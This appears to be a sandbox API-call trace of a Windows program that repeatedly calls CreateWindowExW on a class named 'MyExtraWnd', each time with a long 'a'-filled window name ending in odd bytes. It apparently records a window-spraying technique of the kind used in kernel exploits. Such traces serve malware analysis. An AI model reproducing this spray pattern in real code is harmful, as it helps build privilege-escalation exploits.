	[0072.591] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x102e0
	[0072.592] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x102e2
	[0072.593] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x102e4
	[0072.594] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x102e6
	[0072.595] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x102e8
	[0072.596] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x102ea
	[0072.597] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x102ec
	[0072.598] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x102ee
	[0072.600] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x102f0
	[0072.601] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x102f2
	[0072.602] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x102f4
	[0072.603] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x102f6
	[0072.604] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x102f8
	[0072.605] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x102fa
	[0072.606] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x102fc
	[0072.607] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x102fe
	[0072.608] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10300
	[0072.610] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10302
	[0072.611] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10304
	[0072.612] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10306
	[0072.614] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10308
	[0072.615] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1030a
	[0072.616] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1030c
	[0072.617] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1030e
	[0072.618] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10310
	[0072.619] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10312
	[0072.621] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10314
	[0072.622] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10316
	[0072.623] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10318
	[0072.624] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1031a
	[0072.625] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1031c
	[0072.626] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1031e
	[0072.627] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10320
	[0072.628] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10322
	[0072.630] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10324
	[0072.631] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10326
	[0072.632] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10328
	[0072.633] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1032a
	[0072.634] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1032c
	[0072.635] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1032e
	[0072.636] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10330
	[0072.638] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10332
	[0072.639] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10334
	[0072.640] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10336
